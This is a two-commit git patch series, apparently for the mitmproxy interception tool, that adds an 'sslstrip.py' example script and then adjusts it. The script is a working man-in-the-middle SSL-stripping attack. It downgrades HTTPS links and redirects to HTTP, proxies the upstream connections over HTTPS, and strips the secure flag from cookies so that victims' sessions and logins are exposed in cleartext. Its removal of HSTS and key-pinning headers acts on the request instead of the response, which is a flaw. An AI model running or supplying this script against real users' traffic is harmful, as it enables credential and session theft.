From 25705af76d72899140ec43e224aa2636e6a2d8f1 Mon Sep 17 00:00:00 2001 From: Niko Kommenda Date: Tue, 12 Jan 2016 16:41:41 +0000 Subject: [PATCH 1/2] added sslstrip to inline script examples --- examples/sslstrip.py | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 examples/sslstrip.py diff --git a/examples/sslstrip.py b/examples/sslstrip.py new file mode 100644 index 000000000..263ac1c13 --- /dev/null +++ b/examples/sslstrip.py @@ -0,0 +1,41 @@ +from netlib.http import decoded +import re +from six.moves import urllib + +def start(context, argv) : + + #set of SSL/TLS capable hosts + context.secure_hosts = set() + +def request(context, flow) : + + flow.request.headers.pop('Accept-Encoding', None) + flow.request.headers.pop('If-Modified-Since', None) + flow.request.headers.pop('Cache-Control', None) + + #proxy connections to SSL-enabled hosts + if flow.request.pretty_host in context.secure_hosts : + flow.request.scheme = 'https' + flow.request.port = 443 + +def response(context, flow) : + + with decoded(flow.response) : + flow.request.headers.pop('Strict-Transport-Security', None) + flow.request.headers.pop('Public-Key-Pins', None) + + #strip links in response body + flow.response.content = flow.response.content.replace('https://', 'http://') + + #strip links in 'Location' header + if flow.response.headers.get('Location','').startswith('https://'): + location = flow.response.headers['Location'] + hostname = urllib.parse.urlparse(location).hostname + if hostname: + context.secure_hosts.add(hostname) + flow.response.headers['Location'] = location.replace('https://', 'http://', 1) + + #strip secure flag from 'Set-Cookie' headers + cookies = flow.response.headers.get_all('Set-Cookie') + cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies] + flow.response.headers.set_all('Set-Cookie', cookies) From 55e89865ff4f87f4c8ad16070a6c2177fcf6fac9 Mon Sep 17 00:00:00 2001 From: Niko Kommenda Date: Tue, 12 Jan 2016 22:25:42 +0000 Subject: [PATCH 2/2] no longer strips Accept-Encoding as mitmproxy can handle compression --- examples/sslstrip.py | 1 - 1 file changed, 1 deletion(-) diff --git a/examples/sslstrip.py b/examples/sslstrip.py index 263ac1c13..369427a22 100644 --- a/examples/sslstrip.py +++ b/examples/sslstrip.py @@ -9,7 +9,6 @@ def start(context, argv) : def request(context, flow) : - flow.request.headers.pop('Accept-Encoding', None) flow.request.headers.pop('If-Modified-Since', None) flow.request.headers.pop('Cache-Control', None)